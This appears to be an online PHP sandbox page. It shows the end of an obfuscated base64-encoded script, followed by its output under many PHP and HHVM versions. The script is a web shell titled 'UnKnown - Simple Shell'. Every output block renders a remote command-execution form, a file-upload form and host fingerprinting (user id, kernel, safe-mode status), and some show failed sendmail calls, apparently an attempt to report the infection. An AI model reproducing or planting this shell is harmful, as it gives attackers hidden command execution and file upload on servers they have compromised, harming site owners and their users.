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oqDiUPLC3t+wztPYPs2DncUQprQDZRSaaa51l2eLebMM0a5Fo5ppp/KW6IM84SZcFGsHJrxvpSNUaeJCB3tFKFfcNgjP612vSmbKVozkJItDdEXMPcbR+QaBB48Q2blff+L2geAWbzQFacsqLwNdtjqEDWOjrSWGGrgjfoXduuhrFbp2Vh9nh2PRJhFn2+moHtlsXR+NRj0OnJKuw+Ngs4vGgaV5x7tLNTtg8z+QBEFR2SyBi4X2jRTB5IYbhol3U6NloN5ruEMtVJe6TpCrw3ITF74ZlHy5h56MMyjqEoiFNE58tjuLwq/Tahh+TZjtwLpuvOYqjGTrG81cossTdKvdtlBet69GbTU3v2gxu7MMs+glSIXRPJrraqkzzjWDf2y+Z9mq0gyBrDV/FfIcg3MSzJ/KaoQU2Q3ZQ5rwR++UpuxG+2qlqMsTbTDJG9udAfYq4CL7KOh1+j55NFMbNR7L3fYXe3vibHPw=='))));
Output for 5.6.28, 7.0.14 - 7.1.0
<title>UnKnown - Simple Shell</title><br><font size=2 color=#888888><b>SAFE_MODE : OFF</b><br><font size=2 color=#888888><b>User : uid=0(root) gid=0(root)</b><br><font size=2 color=#888888><b>Uname : Linux php_shell 4.8.6-1-ARCH #1 SMP PREEMPT Mon Oct 31 18:51:30 CET 2016 x86_64</b><br><form method="POST" action=""><font size=2 color=#888888><b>Command</b><br><input type="text" name="cmd"><input type="Submit" name="command" value="cok"></form><form enctype="multipart/form-data" action method=POST><font size=2 color=#888888><b>Upload File</b></font><br><input type=hidden name="submit"><input type=file name="userfile" size=28><br><font size=2 color=#888888><b>New name: </b></font><input type=text size=15 name="newname" class=ta><input type=submit class="bt" value="Upload"></form><pre><font size=3 color=#000000></font></pre>
Output for 5.5.24 - 5.5.32, 5.5.34, 5.6.8 - 5.6.18, 5.6.20 - 5.6.21, 7.0.0 - 7.0.3, 7.0.5 - 7.0.6
<title>UnKnown - Simple Shell</title><br><font size=2 color=#888888><b>SAFE_MODE : OFF</b><br><font size=2 color=#888888><b>User : uid=1000() gid=33()</b><br><font size=2 color=#888888><b>Uname : Linux php_shell 4.4.5-1-ARCH #1 SMP PREEMPT Thu Mar 10 07:38:19 CET 2016 x86_64</b><br><form method="POST" action=""><font size=2 color=#888888><b>Command</b><br><input type="text" name="cmd"><input type="Submit" name="command" value="cok"></form><form enctype="multipart/form-data" action method=POST><font size=2 color=#888888><b>Upload File</b></font><br><input type=hidden name="submit"><input type=file name="userfile" size=28><br><font size=2 color=#888888><b>New name: </b></font><input type=text size=15 name="newname" class=ta><input type=submit class="bt" value="Upload"></form><pre><font size=3 color=#000000></font></pre>
Output for 5.5.33, 5.6.19, 7.0.4
<title>UnKnown - Simple Shell</title><br><font size=2 color=#888888><b>SAFE_MODE : OFF</b><br><font size=2 color=#888888><b>User : uid=1000() gid=33()</b><br><font size=2 color=#888888><b>Uname : Linux php_shell 4.4.1-2-ARCH #1 SMP PREEMPT Wed Feb 3 13:12:33 UTC 2016 x86_64</b><br><form method="POST" action=""><font size=2 color=#888888><b>Command</b><br><input type="text" name="cmd"><input type="Submit" name="command" value="cok"></form><form enctype="multipart/form-data" action method=POST><font size=2 color=#888888><b>Upload File</b></font><br><input type=hidden name="submit"><input type=file name="userfile" size=28><br><font size=2 color=#888888><b>New name: </b></font><input type=text size=15 name="newname" class=ta><input type=submit class="bt" value="Upload"></form><pre><font size=3 color=#000000></font></pre>
Output for hhvm-3.12.0
<title>UnKnown - Simple Shell</title><br><font size=2 color=#888888><b>SAFE_MODE : OFF</b><br><font size=2 color=#888888><b>User : uid=99(nobody) gid=99(nobody)</b><br><font size=2 color=#888888><b>Uname : Linux php_shell 4.4.1-2-ARCH #1 SMP PREEMPT Wed Feb 3 13:12:33 UTC 2016 x86_64</b><br><form method="POST" action=""><font size=2 color=#888888><b>Command</b><br><input type="text" name="cmd"><input type="Submit" name="command" value="cok"></form><form enctype="multipart/form-data" action method=POST><font size=2 color=#888888><b>Upload File</b></font><br><input type=hidden name="submit"><input type=file name="userfile" size=28><br><font size=2 color=#888888><b>New name: </b></font><input type=text size=15 name="newname" class=ta><input type=submit class="bt" value="Upload"></form><pre><font size=3 color=#000000>Failed to exec: `ls -la' </font></pre>
Output for hhvm-3.10.0
<title>UnKnown - Simple Shell</title><br><font size=2 color=#888888><b>SAFE_MODE : OFF</b><br><font size=2 color=#888888><b>User : uid=99(nobody) gid=99(nobody)</b><br><font size=2 color=#888888><b>Uname : Linux php_shell 4.4.5-1-ARCH #1 SMP PREEMPT Thu Mar 10 07:38:19 CET 2016 x86_64</b><br><form method="POST" action=""><font size=2 color=#888888><b>Command</b><br><input type="text" name="cmd"><input type="Submit" name="command" value="cok"></form><form enctype="multipart/form-data" action method=POST><font size=2 color=#888888><b>Upload File</b></font><br><input type=hidden name="submit"><input type=file name="userfile" size=28><br><font size=2 color=#888888><b>New name: </b></font><input type=text size=15 name="newname" class=ta><input type=submit class="bt" value="Upload"></form><pre><font size=3 color=#000000>Failed to exec: `ls -la' </font></pre>
Output for 5.5.35 - 5.6.7
<title>UnKnown - Simple Shell</title><br><font size=2 color=#888888><b>SAFE_MODE : OFF</b><br><font size=2 color=#888888><b>User : uid=1000() gid=33()</b><br><font size=2 color=#888888><b>Uname : Linux php_shell 4.5.4-1-ARCH #1 SMP PREEMPT Wed May 11 22:21:28 CEST 2016 x86_64</b><br><form method="POST" action=""><font size=2 color=#888888><b>Command</b><br><input type="text" name="cmd"><input type="Submit" name="command" value="cok"></form><form enctype="multipart/form-data" action method=POST><font size=2 color=#888888><b>Upload File</b></font><br><input type=hidden name="submit"><input type=file name="userfile" size=28><br><font size=2 color=#888888><b>New name: </b></font><input type=text size=15 name="newname" class=ta><input type=submit class="bt" value="Upload"></form><pre><font size=3 color=#000000></font></pre>
Output for 4.3.0, 5.4.39 - 5.4.45
<title>UnKnown - Simple Shell</title><br><font size=2 color=#888888><b>SAFE_MODE : OFF</b><br><font size=2 color=#888888><b>User : uid=1000() gid=33()</b><br><font size=2 color=#888888><b>Uname : Linux php_shell 4.1.6-1-ARCH #1 SMP PREEMPT Mon Aug 17 08:52:28 CEST 2015 x86_64</b><br><form method="POST" action=""><font size=2 color=#888888><b>Command</b><br><input type="text" name="cmd"><input type="Submit" name="command" value="cok"></form><form enctype="multipart/form-data" action method=POST><font size=2 color=#888888><b>Upload File</b></font><br><input type=hidden name="submit"><input type=file name="userfile" size=28><br><font size=2 color=#888888><b>New name: </b></font><input type=text size=15 name="newname" class=ta><input type=submit class="bt" value="Upload"></form><pre><font size=3 color=#000000></font></pre>
Output for 5.4.34 - 5.4.38
<title>UnKnown - Simple Shell</title><br><font size=2 color=#888888><b>SAFE_MODE : OFF</b><br><font size=2 color=#888888><b>User : uid=33() gid=33()</b><br><font size=2 color=#888888><b>Uname : Linux php_shell 3.19.0-1-ARCH #1 SMP PREEMPT Mon Feb 9 07:08:20 CET 2015 x86_64</b><br><form method="POST" action=""><font size=2 color=#888888><b>Command</b><br><input type="text" name="cmd"><input type="Submit" name="command" value="cok"></form><form enctype="multipart/form-data" action method=POST><font size=2 color=#888888><b>Upload File</b></font><br><input type=hidden name="submit"><input type=file name="userfile" size=28><br><font size=2 color=#888888><b>New name: </b></font><input type=text size=15 name="newname" class=ta><input type=submit class="bt" value="Upload"></form><pre><font size=3 color=#000000></font></pre>sh: 1: /usr/bin/sendmail: not found sh: 1: /usr/bin/sendmail: not found sh: 1: /usr/bin/sendmail: not found sh: 1: ls: not found
Output for 5.3.25 - 5.3.29, 5.4.16 - 5.4.32
<title>UnKnown - Simple Shell</title><br><font size=2 color=#888888><b>SAFE_MODE : OFF</b><br><font size=2 color=#888888><b>User : uid=33() gid=33()</b><br><font size=2 color=#888888><b>Uname : Linux php_shell 3.8.2 #3 SMP Fri May 31 14:28:26 UTC 2013 x86_64</b><br><form method="POST" action=""><font size=2 color=#888888><b>Command</b><br><input type="text" name="cmd"><input type="Submit" name="command" value="cok"></form><form enctype="multipart/form-data" action method=POST><font size=2 color=#888888><b>Upload File</b></font><br><input type=hidden name="submit"><input type=file name="userfile" size=28><br><font size=2 color=#888888><b>New name: </b></font><input type=text size=15 name="newname" class=ta><input type=submit class="bt" value="Upload"></form><pre><font size=3 color=#000000></font></pre>sh: 1: /usr/bin/sendmail: not found sh: 1: /usr/bin/sendmail: not found sh: 1: /usr/bin/sendmail: not found sh: 1: ls: not found
Output for 4.3.1 - 5.3.9, 5.3.11 - 5.3.24, 5.4.0 - 5.4.15
<title>UnKnown - Simple Shell</title><br><font size=2 color=#888888><b>SAFE_MODE : OFF</b><br><font size=2 color=#888888><b>User : uid=33() gid=33()</b><br><font size=2 color=#888888><b>Uname : Linux php_shell 3.8.2 #3 SMP Fri May 31 14:28:26 UTC 2013 x86_64</b><br><form method="POST" action=""><font size=2 color=#888888><b>Command</b><br><input type="text" name="cmd"><input type="Submit" name="command" value="cok"></form><form enctype="multipart/form-data" action method=POST><font size=2 color=#888888><b>Upload File</b></font><br><input type=hidden name="submit"><input type=file name="userfile" size=28><br><font size=2 color=#888888><b>New name: </b></font><input type=text size=15 name="newname" class=ta><input type=submit class="bt" value="Upload"></form><pre><font size=3 color=#000000></font></pre>sh: 1: /usr/sbin/sendmail: not found sh: 1: /usr/sbin/sendmail: not found sh: 1: /usr/sbin/sendmail: not found sh: 1: ls: not found
Output for 5.3.10
<title>UnKnown - Simple Shell</title><br><font size=2 color=#888888><b>SAFE_MODE : OFF</b><br><font size=2 color=#888888><b>User : uid=33() gid=33()</b><br><font size=2 color=#888888><b>Uname : Linux php_shell 3.8.2 #3 SMP Fri May 31 14:28:26 UTC 2013 x86_64</b><br><form method="POST" action=""><font size=2 color=#888888><b>Command</b><br><input type="text" name="cmd"><input type="Submit" name="command" value="cok"></form><form enctype="multipart/form-data" action method=POST><font size=2 color=#888888><b>Upload File</b></font><br><input type=hidden name="submit"><input type=file name="userfile" size=28><br><font size=2 color=#888888><b>New name: </b></font><input type=text size=15 name="newname" class=ta><input type=submit class="bt" value="Upload"></form><pre><font size=3 color=#000000></font></pre>sh: 1: -t: not found sh: 1: -t: not found sh: 1: -t: not found sh: 1: ls: not found